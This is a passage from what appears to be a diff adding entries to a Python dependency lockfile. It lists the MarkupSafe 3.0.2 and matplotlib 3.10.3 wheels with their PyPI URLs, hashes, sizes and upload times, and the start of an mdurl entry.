"https://files.pythonhosted.org/packages/bd/6e/61ebf08d8940553afff20d1fb1ba7294b6f8d279df9fd0c0db911b4bbcfd/MarkupSafe-3.0.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:b424c77b206d63d500bcb69fa55ed8d0e6a3774056bdc4839fc9298a7edca171", size = 21091, upload-time = "2024-10-18T15:20:59.235Z" }, + { url = "https://files.pythonhosted.org/packages/11/23/ffbf53694e8c94ebd1e7e491de185124277964344733c45481f32ede2499/MarkupSafe-3.0.2-cp310-cp310-win32.whl", hash = "sha256:fcabf5ff6eea076f859677f5f0b6b5c1a51e70a376b0579e0eadef8db48c6b50", size = 15065, upload-time = "2024-10-18T15:21:00.307Z" }, + { url = "https://files.pythonhosted.org/packages/44/06/e7175d06dd6e9172d4a69a72592cb3f7a996a9c396eee29082826449bbc3/MarkupSafe-3.0.2-cp310-cp310-win_amd64.whl", hash = "sha256:6af100e168aa82a50e186c82875a5893c5597a0c1ccdb0d8b40240b1f28b969a", size = 15514, upload-time = "2024-10-18T15:21:01.122Z" }, + { url = "https://files.pythonhosted.org/packages/6b/28/bbf83e3f76936960b850435576dd5e67034e200469571be53f69174a2dfd/MarkupSafe-3.0.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:9025b4018f3a1314059769c7bf15441064b2207cb3f065e6ea1e7359cb46db9d", size = 14353, upload-time = "2024-10-18T15:21:02.187Z" }, + { url = "https://files.pythonhosted.org/packages/6c/30/316d194b093cde57d448a4c3209f22e3046c5bb2fb0820b118292b334be7/MarkupSafe-3.0.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:93335ca3812df2f366e80509ae119189886b0f3c2b81325d39efdb84a1e2ae93", size = 12392, upload-time = "2024-10-18T15:21:02.941Z" }, + { url = "https://files.pythonhosted.org/packages/f2/96/9cdafba8445d3a53cae530aaf83c38ec64c4d5427d975c974084af5bc5d2/MarkupSafe-3.0.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2cb8438c3cbb25e220c2ab33bb226559e7afb3baec11c4f218ffa7308603c832", size = 23984, upload-time = "2024-10-18T15:21:03.953Z" }, + { url = "https://files.pythonhosted.org/packages/f1/a4/aefb044a2cd8d7334c8a47d3fb2c9f328ac48cb349468cc31c20b539305f/MarkupSafe-3.0.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a123e330ef0853c6e822384873bef7507557d8e4a082961e1defa947aa59ba84", size = 23120, upload-time = "2024-10-18T15:21:06.495Z" }, + { url = "https://files.pythonhosted.org/packages/8d/21/5e4851379f88f3fad1de30361db501300d4f07bcad047d3cb0449fc51f8c/MarkupSafe-3.0.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1e084f686b92e5b83186b07e8a17fc09e38fff551f3602b249881fec658d3eca", size = 23032, upload-time = "2024-10-18T15:21:07.295Z" }, + { url = "https://files.pythonhosted.org/packages/00/7b/e92c64e079b2d0d7ddf69899c98842f3f9a60a1ae72657c89ce2655c999d/MarkupSafe-3.0.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d8213e09c917a951de9d09ecee036d5c7d36cb6cb7dbaece4c71a60d79fb9798", size = 24057, upload-time = "2024-10-18T15:21:08.073Z" }, + { url = "https://files.pythonhosted.org/packages/f9/ac/46f960ca323037caa0a10662ef97d0a4728e890334fc156b9f9e52bcc4ca/MarkupSafe-3.0.2-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:5b02fb34468b6aaa40dfc198d813a641e3a63b98c2b05a16b9f80b7ec314185e", size = 23359, upload-time = "2024-10-18T15:21:09.318Z" }, + { url = "https://files.pythonhosted.org/packages/69/84/83439e16197337b8b14b6a5b9c2105fff81d42c2a7c5b58ac7b62ee2c3b1/MarkupSafe-3.0.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0bff5e0ae4ef2e1ae4fdf2dfd5b76c75e5c2fa4132d05fc1b0dabcd20c7e28c4", size = 23306, upload-time = "2024-10-18T15:21:10.185Z" }, + { url = "https://files.pythonhosted.org/packages/9a/34/a15aa69f01e2181ed8d2b685c0d2f6655d5cca2c4db0ddea775e631918cd/MarkupSafe-3.0.2-cp311-cp311-win32.whl", hash = "sha256:6c89876f41da747c8d3677a2b540fb32ef5715f97b66eeb0c6b66f5e3ef6f59d", size = 15094, upload-time = "2024-10-18T15:21:11.005Z" }, + { url = "https://files.pythonhosted.org/packages/da/b8/3a3bd761922d416f3dc5d00bfbed11f66b1ab89a0c2b6e887240a30b0f6b/MarkupSafe-3.0.2-cp311-cp311-win_amd64.whl", hash = "sha256:70a87b411535ccad5ef2f1df5136506a10775d267e197e4cf531ced10537bd6b", size = 15521, upload-time = "2024-10-18T15:21:12.911Z" }, + { url = "https://files.pythonhosted.org/packages/22/09/d1f21434c97fc42f09d290cbb6350d44eb12f09cc62c9476effdb33a18aa/MarkupSafe-3.0.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:9778bd8ab0a994ebf6f84c2b949e65736d5575320a17ae8984a77fab08db94cf", size = 14274, upload-time = "2024-10-18T15:21:13.777Z" }, + { url = "https://files.pythonhosted.org/packages/6b/b0/18f76bba336fa5aecf79d45dcd6c806c280ec44538b3c13671d49099fdd0/MarkupSafe-3.0.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:846ade7b71e3536c4e56b386c2a47adf5741d2d8b94ec9dc3e92e5e1ee1e2225", size = 12348, upload-time = "2024-10-18T15:21:14.822Z" }, + { url = "https://files.pythonhosted.org/packages/e0/25/dd5c0f6ac1311e9b40f4af06c78efde0f3b5cbf02502f8ef9501294c425b/MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1c99d261bd2d5f6b59325c92c73df481e05e57f19837bdca8413b9eac4bd8028", size = 24149, upload-time = "2024-10-18T15:21:15.642Z" }, + { url = "https://files.pythonhosted.org/packages/f3/f0/89e7aadfb3749d0f52234a0c8c7867877876e0a20b60e2188e9850794c17/MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e17c96c14e19278594aa4841ec148115f9c7615a47382ecb6b82bd8fea3ab0c8", size = 23118, upload-time = "2024-10-18T15:21:17.133Z" }, + { url = "https://files.pythonhosted.org/packages/d5/da/f2eeb64c723f5e3777bc081da884b414671982008c47dcc1873d81f625b6/MarkupSafe-3.0.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:88416bd1e65dcea10bc7569faacb2c20ce071dd1f87539ca2ab364bf6231393c", size = 22993, upload-time = "2024-10-18T15:21:18.064Z" }, + { url = "https://files.pythonhosted.org/packages/da/0e/1f32af846df486dce7c227fe0f2398dc7e2e51d4a370508281f3c1c5cddc/MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:2181e67807fc2fa785d0592dc2d6206c019b9502410671cc905d132a92866557", size = 24178, upload-time = "2024-10-18T15:21:18.859Z" }, + { url = "https://files.pythonhosted.org/packages/c4/f6/bb3ca0532de8086cbff5f06d137064c8410d10779c4c127e0e47d17c0b71/MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:52305740fe773d09cffb16f8ed0427942901f00adedac82ec8b67752f58a1b22", size = 23319, upload-time = "2024-10-18T15:21:19.671Z" }, + { url = "https://files.pythonhosted.org/packages/a2/82/8be4c96ffee03c5b4a034e60a31294daf481e12c7c43ab8e34a1453ee48b/MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ad10d3ded218f1039f11a75f8091880239651b52e9bb592ca27de44eed242a48", size = 23352, upload-time = "2024-10-18T15:21:20.971Z" }, + { url = "https://files.pythonhosted.org/packages/51/ae/97827349d3fcffee7e184bdf7f41cd6b88d9919c80f0263ba7acd1bbcb18/MarkupSafe-3.0.2-cp312-cp312-win32.whl", hash = "sha256:0f4ca02bea9a23221c0182836703cbf8930c5e9454bacce27e767509fa286a30", size = 15097, upload-time = "2024-10-18T15:21:22.646Z" }, + { url = "https://files.pythonhosted.org/packages/c1/80/a61f99dc3a936413c3ee4e1eecac96c0da5ed07ad56fd975f1a9da5bc630/MarkupSafe-3.0.2-cp312-cp312-win_amd64.whl", hash = "sha256:8e06879fc22a25ca47312fbe7c8264eb0b662f6db27cb2d3bbbc74b1df4b9b87", size = 15601, upload-time = "2024-10-18T15:21:23.499Z" }, + { url = "https://files.pythonhosted.org/packages/83/0e/67eb10a7ecc77a0c2bbe2b0235765b98d164d81600746914bebada795e97/MarkupSafe-3.0.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ba9527cdd4c926ed0760bc301f6728ef34d841f405abf9d4f959c478421e4efd", size = 14274, upload-time = "2024-10-18T15:21:24.577Z" }, + { url = "https://files.pythonhosted.org/packages/2b/6d/9409f3684d3335375d04e5f05744dfe7e9f120062c9857df4ab490a1031a/MarkupSafe-3.0.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f8b3d067f2e40fe93e1ccdd6b2e1d16c43140e76f02fb1319a05cf2b79d99430", size = 12352, upload-time = "2024-10-18T15:21:25.382Z" }, + { url = "https://files.pythonhosted.org/packages/d2/f5/6eadfcd3885ea85fe2a7c128315cc1bb7241e1987443d78c8fe712d03091/MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:569511d3b58c8791ab4c2e1285575265991e6d8f8700c7be0e88f86cb0672094", size = 24122, upload-time = "2024-10-18T15:21:26.199Z" }, + { url = "https://files.pythonhosted.org/packages/0c/91/96cf928db8236f1bfab6ce15ad070dfdd02ed88261c2afafd4b43575e9e9/MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:15ab75ef81add55874e7ab7055e9c397312385bd9ced94920f2802310c930396", size = 23085, upload-time = "2024-10-18T15:21:27.029Z" }, + { url = "https://files.pythonhosted.org/packages/c2/cf/c9d56af24d56ea04daae7ac0940232d31d5a8354f2b457c6d856b2057d69/MarkupSafe-3.0.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f3818cb119498c0678015754eba762e0d61e5b52d34c8b13d770f0719f7b1d79", size = 22978, upload-time = "2024-10-18T15:21:27.846Z" }, + { url = "https://files.pythonhosted.org/packages/2a/9f/8619835cd6a711d6272d62abb78c033bda638fdc54c4e7f4272cf1c0962b/MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:cdb82a876c47801bb54a690c5ae105a46b392ac6099881cdfb9f6e95e4014c6a", size = 24208, upload-time = "2024-10-18T15:21:28.744Z" }, + { url = "https://files.pythonhosted.org/packages/f9/bf/176950a1792b2cd2102b8ffeb5133e1ed984547b75db47c25a67d3359f77/MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:cabc348d87e913db6ab4aa100f01b08f481097838bdddf7c7a84b7575b7309ca", size = 23357, upload-time = "2024-10-18T15:21:29.545Z" }, + { url = "https://files.pythonhosted.org/packages/ce/4f/9a02c1d335caabe5c4efb90e1b6e8ee944aa245c1aaaab8e8a618987d816/MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:444dcda765c8a838eaae23112db52f1efaf750daddb2d9ca300bcae1039adc5c", size = 23344, upload-time = "2024-10-18T15:21:30.366Z" }, + { url = "https://files.pythonhosted.org/packages/ee/55/c271b57db36f748f0e04a759ace9f8f759ccf22b4960c270c78a394f58be/MarkupSafe-3.0.2-cp313-cp313-win32.whl", hash = "sha256:bcf3e58998965654fdaff38e58584d8937aa3096ab5354d493c77d1fdd66d7a1", size = 15101, upload-time = "2024-10-18T15:21:31.207Z" }, + { url = "https://files.pythonhosted.org/packages/29/88/07df22d2dd4df40aba9f3e402e6dc1b8ee86297dddbad4872bd5e7b0094f/MarkupSafe-3.0.2-cp313-cp313-win_amd64.whl", hash = "sha256:e6a2a455bd412959b57a172ce6328d2dd1f01cb2135efda2e4576e8a23fa3b0f", size = 15603, upload-time = "2024-10-18T15:21:32.032Z" }, + { url = "https://files.pythonhosted.org/packages/62/6a/8b89d24db2d32d433dffcd6a8779159da109842434f1dd2f6e71f32f738c/MarkupSafe-3.0.2-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:b5a6b3ada725cea8a5e634536b1b01c30bcdcd7f9c6fff4151548d5bf6b3a36c", size = 14510, upload-time = "2024-10-18T15:21:33.625Z" }, + { url = "https://files.pythonhosted.org/packages/7a/06/a10f955f70a2e5a9bf78d11a161029d278eeacbd35ef806c3fd17b13060d/MarkupSafe-3.0.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:a904af0a6162c73e3edcb969eeeb53a63ceeb5d8cf642fade7d39e7963a22ddb", size = 12486, upload-time = "2024-10-18T15:21:34.611Z" }, + { url = "https://files.pythonhosted.org/packages/34/cf/65d4a571869a1a9078198ca28f39fba5fbb910f952f9dbc5220afff9f5e6/MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4aa4e5faecf353ed117801a068ebab7b7e09ffb6e1d5e412dc852e0da018126c", size = 25480, upload-time = "2024-10-18T15:21:35.398Z" }, + { url = "https://files.pythonhosted.org/packages/0c/e3/90e9651924c430b885468b56b3d597cabf6d72be4b24a0acd1fa0e12af67/MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c0ef13eaeee5b615fb07c9a7dadb38eac06a0608b41570d8ade51c56539e509d", size = 23914, upload-time = "2024-10-18T15:21:36.231Z" }, + { url = "https://files.pythonhosted.org/packages/66/8c/6c7cf61f95d63bb866db39085150df1f2a5bd3335298f14a66b48e92659c/MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d16a81a06776313e817c951135cf7340a3e91e8c1ff2fac444cfd75fffa04afe", size = 23796, upload-time = "2024-10-18T15:21:37.073Z" }, + { url = "https://files.pythonhosted.org/packages/bb/35/cbe9238ec3f47ac9a7c8b3df7a808e7cb50fe149dc7039f5f454b3fba218/MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:6381026f158fdb7c72a168278597a5e3a5222e83ea18f543112b2662a9b699c5", size = 25473, upload-time = "2024-10-18T15:21:37.932Z" }, + { url = "https://files.pythonhosted.org/packages/e6/32/7621a4382488aa283cc05e8984a9c219abad3bca087be9ec77e89939ded9/MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:3d79d162e7be8f996986c064d1c7c817f6df3a77fe3d6859f6f9e7be4b8c213a", size = 24114, upload-time = "2024-10-18T15:21:39.799Z" }, + { url = "https://files.pythonhosted.org/packages/0d/80/0985960e4b89922cb5a0bac0ed39c5b96cbc1a536a99f30e8c220a996ed9/MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:131a3c7689c85f5ad20f9f6fb1b866f402c445b220c19fe4308c0b147ccd2ad9", size = 24098, upload-time = "2024-10-18T15:21:40.813Z" }, + { url = "https://files.pythonhosted.org/packages/82/78/fedb03c7d5380df2427038ec8d973587e90561b2d90cd472ce9254cf348b/MarkupSafe-3.0.2-cp313-cp313t-win32.whl", hash = "sha256:ba8062ed2cf21c07a9e295d5b8a2a5ce678b913b45fdf68c32d95d6c1291e0b6", size = 15208, upload-time = "2024-10-18T15:21:41.814Z" }, + { url = "https://files.pythonhosted.org/packages/4f/65/6079a46068dfceaeabb5dcad6d674f5f5c61a6fa5673746f42a9f4c233b3/MarkupSafe-3.0.2-cp313-cp313t-win_amd64.whl", hash = "sha256:e444a31f8db13eb18ada366ab3cf45fd4b31e4db1236a4448f68778c1d1a5a2f", size = 15739, upload-time = "2024-10-18T15:21:42.784Z" }, +] + +[[package]] +name = "matplotlib" +version = "3.10.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "contourpy" }, + { name = "cycler" }, + { name = "fonttools" }, + { name = "kiwisolver" }, + { name = "numpy" }, + { name = "packaging" }, + { name = "pillow" }, + { name = "pyparsing" }, + { name = "python-dateutil" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/26/91/d49359a21893183ed2a5b6c76bec40e0b1dcbf8ca148f864d134897cfc75/matplotlib-3.10.3.tar.gz", hash = "sha256:2f82d2c5bb7ae93aaaa4cd42aca65d76ce6376f83304fa3a630b569aca274df0", size = 34799811, upload-time = "2025-05-08T19:10:54.39Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d0/ea/2bba25d289d389c7451f331ecd593944b3705f06ddf593fa7be75037d308/matplotlib-3.10.3-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:213fadd6348d106ca7db99e113f1bea1e65e383c3ba76e8556ba4a3054b65ae7", size = 8167862, upload-time = "2025-05-08T19:09:39.563Z" }, + { url = "https://files.pythonhosted.org/packages/41/81/cc70b5138c926604e8c9ed810ed4c79e8116ba72e02230852f5c12c87ba2/matplotlib-3.10.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d3bec61cb8221f0ca6313889308326e7bb303d0d302c5cc9e523b2f2e6c73deb", size = 8042149, upload-time = "2025-05-08T19:09:42.413Z" }, + { url = "https://files.pythonhosted.org/packages/4a/9a/0ff45b6bfa42bb16de597e6058edf2361c298ad5ef93b327728145161bbf/matplotlib-3.10.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8c21ae75651c0231b3ba014b6d5e08fb969c40cdb5a011e33e99ed0c9ea86ecb", size = 8453719, upload-time = "2025-05-08T19:09:44.901Z" }, + { url = "https://files.pythonhosted.org/packages/85/c7/1866e972fed6d71ef136efbc980d4d1854ab7ef1ea8152bbd995ca231c81/matplotlib-3.10.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a49e39755580b08e30e3620efc659330eac5d6534ab7eae50fa5e31f53ee4e30", size = 8590801, upload-time = "2025-05-08T19:09:47.404Z" }, + { url = "https://files.pythonhosted.org/packages/5d/b9/748f6626d534ab7e255bdc39dc22634d337cf3ce200f261b5d65742044a1/matplotlib-3.10.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:cf4636203e1190871d3a73664dea03d26fb019b66692cbfd642faafdad6208e8", size = 9402111, upload-time = "2025-05-08T19:09:49.474Z" }, + { url = "https://files.pythonhosted.org/packages/1f/78/8bf07bd8fb67ea5665a6af188e70b57fcb2ab67057daa06b85a08e59160a/matplotlib-3.10.3-cp310-cp310-win_amd64.whl", hash = "sha256:fd5641a9bb9d55f4dd2afe897a53b537c834b9012684c8444cc105895c8c16fd", size = 8057213, upload-time = "2025-05-08T19:09:51.489Z" }, + { url = "https://files.pythonhosted.org/packages/f5/bd/af9f655456f60fe1d575f54fb14704ee299b16e999704817a7645dfce6b0/matplotlib-3.10.3-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:0ef061f74cd488586f552d0c336b2f078d43bc00dc473d2c3e7bfee2272f3fa8", size = 8178873, upload-time = "2025-05-08T19:09:53.857Z" }, + { url = "https://files.pythonhosted.org/packages/c2/86/e1c86690610661cd716eda5f9d0b35eaf606ae6c9b6736687cfc8f2d0cd8/matplotlib-3.10.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d96985d14dc5f4a736bbea4b9de9afaa735f8a0fc2ca75be2fa9e96b2097369d", size = 8052205, upload-time = "2025-05-08T19:09:55.684Z" }, + { url = "https://files.pythonhosted.org/packages/54/51/a9f8e49af3883dacddb2da1af5fca1f7468677f1188936452dd9aaaeb9ed/matplotlib-3.10.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7c5f0283da91e9522bdba4d6583ed9d5521566f63729ffb68334f86d0bb98049", size = 8465823, upload-time = "2025-05-08T19:09:57.442Z" }, + { url = "https://files.pythonhosted.org/packages/e7/e3/c82963a3b86d6e6d5874cbeaa390166458a7f1961bab9feb14d3d1a10f02/matplotlib-3.10.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fdfa07c0ec58035242bc8b2c8aae37037c9a886370eef6850703d7583e19964b", size = 8606464, upload-time = "2025-05-08T19:09:59.471Z" }, + { url = "https://files.pythonhosted.org/packages/0e/34/24da1027e7fcdd9e82da3194c470143c551852757a4b473a09a012f5b945/matplotlib-3.10.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:c0b9849a17bce080a16ebcb80a7b714b5677d0ec32161a2cc0a8e5a6030ae220", size = 9413103, upload-time = "2025-05-08T19:10:03.208Z" }, + { url = "https://files.pythonhosted.org/packages/a6/da/948a017c3ea13fd4a97afad5fdebe2f5bbc4d28c0654510ce6fd6b06b7bd/matplotlib-3.10.3-cp311-cp311-win_amd64.whl", hash = "sha256:eef6ed6c03717083bc6d69c2d7ee8624205c29a8e6ea5a31cd3492ecdbaee1e1", size = 8065492, upload-time = "2025-05-08T19:10:05.271Z" }, + { url = "https://files.pythonhosted.org/packages/eb/43/6b80eb47d1071f234ef0c96ca370c2ca621f91c12045f1401b5c9b28a639/matplotlib-3.10.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:0ab1affc11d1f495ab9e6362b8174a25afc19c081ba5b0775ef00533a4236eea", size = 8179689, upload-time = "2025-05-08T19:10:07.602Z" }, + { url = "https://files.pythonhosted.org/packages/0f/70/d61a591958325c357204870b5e7b164f93f2a8cca1dc6ce940f563909a13/matplotlib-3.10.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:2a818d8bdcafa7ed2eed74487fdb071c09c1ae24152d403952adad11fa3c65b4", size = 8050466, upload-time = "2025-05-08T19:10:09.383Z" }, + { url = "https://files.pythonhosted.org/packages/e7/75/70c9d2306203148cc7902a961240c5927dd8728afedf35e6a77e105a2985/matplotlib-3.10.3-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:748ebc3470c253e770b17d8b0557f0aa85cf8c63fd52f1a61af5b27ec0b7ffee", size = 8456252, upload-time = "2025-05-08T19:10:11.958Z" }, + { url = "https://files.pythonhosted.org/packages/c4/91/ba0ae1ff4b3f30972ad01cd4a8029e70a0ec3b8ea5be04764b128b66f763/matplotlib-3.10.3-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ed70453fd99733293ace1aec568255bc51c6361cb0da94fa5ebf0649fdb2150a", size = 8601321, upload-time = "2025-05-08T19:10:14.47Z" }, + { url = "https://files.pythonhosted.org/packages/d2/88/d636041eb54a84b889e11872d91f7cbf036b3b0e194a70fa064eb8b04f7a/matplotlib-3.10.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:dbed9917b44070e55640bd13419de83b4c918e52d97561544814ba463811cbc7", size = 9406972, upload-time = "2025-05-08T19:10:16.569Z" }, + { url = "https://files.pythonhosted.org/packages/b1/79/0d1c165eac44405a86478082e225fce87874f7198300bbebc55faaf6d28d/matplotlib-3.10.3-cp312-cp312-win_amd64.whl", hash = "sha256:cf37d8c6ef1a48829443e8ba5227b44236d7fcaf7647caa3178a4ff9f7a5be05", size = 8067954, upload-time = "2025-05-08T19:10:18.663Z" }, + { url = "https://files.pythonhosted.org/packages/3b/c1/23cfb566a74c696a3b338d8955c549900d18fe2b898b6e94d682ca21e7c2/matplotlib-3.10.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:9f2efccc8dcf2b86fc4ee849eea5dcaecedd0773b30f47980dc0cbeabf26ec84", size = 8180318, upload-time = "2025-05-08T19:10:20.426Z" }, + { url = "https://files.pythonhosted.org/packages/6c/0c/02f1c3b66b30da9ee343c343acbb6251bef5b01d34fad732446eaadcd108/matplotlib-3.10.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:3ddbba06a6c126e3301c3d272a99dcbe7f6c24c14024e80307ff03791a5f294e", size = 8051132, upload-time = "2025-05-08T19:10:22.569Z" }, + { url = "https://files.pythonhosted.org/packages/b4/ab/8db1a5ac9b3a7352fb914133001dae889f9fcecb3146541be46bed41339c/matplotlib-3.10.3-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:748302b33ae9326995b238f606e9ed840bf5886ebafcb233775d946aa8107a15", size = 8457633, upload-time = "2025-05-08T19:10:24.749Z" }, + { url = "https://files.pythonhosted.org/packages/f5/64/41c4367bcaecbc03ef0d2a3ecee58a7065d0a36ae1aa817fe573a2da66d4/matplotlib-3.10.3-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a80fcccbef63302c0efd78042ea3c2436104c5b1a4d3ae20f864593696364ac7", size = 8601031, upload-time = "2025-05-08T19:10:27.03Z" }, + { url = "https://files.pythonhosted.org/packages/12/6f/6cc79e9e5ab89d13ed64da28898e40fe5b105a9ab9c98f83abd24e46d7d7/matplotlib-3.10.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:55e46cbfe1f8586adb34f7587c3e4f7dedc59d5226719faf6cb54fc24f2fd52d", size = 9406988, upload-time = "2025-05-08T19:10:29.056Z" }, + { url = "https://files.pythonhosted.org/packages/b1/0f/eed564407bd4d935ffabf561ed31099ed609e19287409a27b6d336848653/matplotlib-3.10.3-cp313-cp313-win_amd64.whl", hash = "sha256:151d89cb8d33cb23345cd12490c76fd5d18a56581a16d950b48c6ff19bb2ab93", size = 8068034, upload-time = "2025-05-08T19:10:31.221Z" }, + { url = "https://files.pythonhosted.org/packages/3e/e5/2f14791ff69b12b09e9975e1d116d9578ac684460860ce542c2588cb7a1c/matplotlib-3.10.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:c26dd9834e74d164d06433dc7be5d75a1e9890b926b3e57e74fa446e1a62c3e2", size = 8218223, upload-time = "2025-05-08T19:10:33.114Z" }, + { url = "https://files.pythonhosted.org/packages/5c/08/30a94afd828b6e02d0a52cae4a29d6e9ccfcf4c8b56cc28b021d3588873e/matplotlib-3.10.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:24853dad5b8c84c8c2390fc31ce4858b6df504156893292ce8092d190ef8151d", size = 8094985, upload-time = "2025-05-08T19:10:35.337Z" }, + { url = "https://files.pythonhosted.org/packages/89/44/f3bc6b53066c889d7a1a3ea8094c13af6a667c5ca6220ec60ecceec2dabe/matplotlib-3.10.3-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:68f7878214d369d7d4215e2a9075fef743be38fa401d32e6020bab2dfabaa566", size = 8483109, upload-time = "2025-05-08T19:10:37.611Z" }, + { url = "https://files.pythonhosted.org/packages/ba/c7/473bc559beec08ebee9f86ca77a844b65747e1a6c2691e8c92e40b9f42a8/matplotlib-3.10.3-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f6929fc618cb6db9cb75086f73b3219bbb25920cb24cee2ea7a12b04971a4158", size = 8618082, upload-time = "2025-05-08T19:10:39.892Z" }, + { url = "https://files.pythonhosted.org/packages/d8/e9/6ce8edd264c8819e37bbed8172e0ccdc7107fe86999b76ab5752276357a4/matplotlib-3.10.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:6c7818292a5cc372a2dc4c795e5c356942eb8350b98ef913f7fda51fe175ac5d", size = 9413699, upload-time = "2025-05-08T19:10:42.376Z" }, + { url = "https://files.pythonhosted.org/packages/1b/92/9a45c91089c3cf690b5badd4be81e392ff086ccca8a1d4e3a08463d8a966/matplotlib-3.10.3-cp313-cp313t-win_amd64.whl", hash = "sha256:4f23ffe95c5667ef8a2b56eea9b53db7f43910fa4a2d5472ae0f72b64deab4d5", size = 8139044, upload-time = "2025-05-08T19:10:44.551Z" }, + { url = "https://files.pythonhosted.org/packages/3d/d1/f54d43e95384b312ffa4a74a4326c722f3b8187aaaa12e9a84cdf3037131/matplotlib-3.10.3-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:86ab63d66bbc83fdb6733471d3bff40897c1e9921cba112accd748eee4bce5e4", size = 8162896, upload-time = "2025-05-08T19:10:46.432Z" }, + { url = "https://files.pythonhosted.org/packages/24/a4/fbfc00c2346177c95b353dcf9b5a004106abe8730a62cb6f27e79df0a698/matplotlib-3.10.3-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:a48f9c08bf7444b5d2391a83e75edb464ccda3c380384b36532a0962593a1751", size = 8039702, upload-time = "2025-05-08T19:10:49.634Z" }, + { url = "https://files.pythonhosted.org/packages/6a/b9/59e120d24a2ec5fc2d30646adb2efb4621aab3c6d83d66fb2a7a182db032/matplotlib-3.10.3-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cb73d8aa75a237457988f9765e4dfe1c0d2453c5ca4eabc897d4309672c8e014", size = 8594298, upload-time = "2025-05-08T19:10:51.738Z" }, +] + +[[package]] +name = "mdurl" +version = "0.1.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d6/54/cfe61301667036ec958cb99bd3efefba235e65cdeb9c84d24a8293ba1d90/mdurl-0.1.2.tar.gz", hash = 